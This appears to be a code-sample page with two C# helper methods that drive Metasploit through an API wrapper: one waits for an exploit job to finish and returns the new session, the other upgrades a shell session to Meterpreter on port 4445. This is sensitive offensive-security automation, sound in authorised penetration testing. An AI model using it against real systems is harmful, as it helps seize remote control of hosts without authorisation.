コード例 #1
0
        public static async Task<string> ObtainSession(
            this IMetasploitProvider metasploit, 
            string moduleName,
            string jobId)
        {
            var response = await metasploit.ListJobs();
            var vals = new List<object>(response.Values);
            while (vals.Any(v => ((string)v).Contains(moduleName)))
            {
                Delay.Small();
                response = await metasploit.ListJobs();
                vals = new List<object>(response.Values);
            }

            await metasploit.StopJob(jobId);
            response = await metasploit.ListSessions();

            return response.First().Key;
        }
コード例 #2
0
        public static async Task<string> ObtainMeterpreter(
            this IMetasploitProvider metasploit,
            string sessionId)
        {
            await metasploit.UpgradeShellToMeterpreter(sessionId,
                metasploit.MetasploitAddress,
                "4445");

            Delay.Small();

            var sessions = await metasploit.ListSessions();
            foreach (var session in sessions)
            {
                var id = session.Key;
                var dict = (Dictionary<string, object>)session.Value;
                if (dict["type"] as string == "meterpreter")
                {
                    return id;
                }
            }

            return null;
        }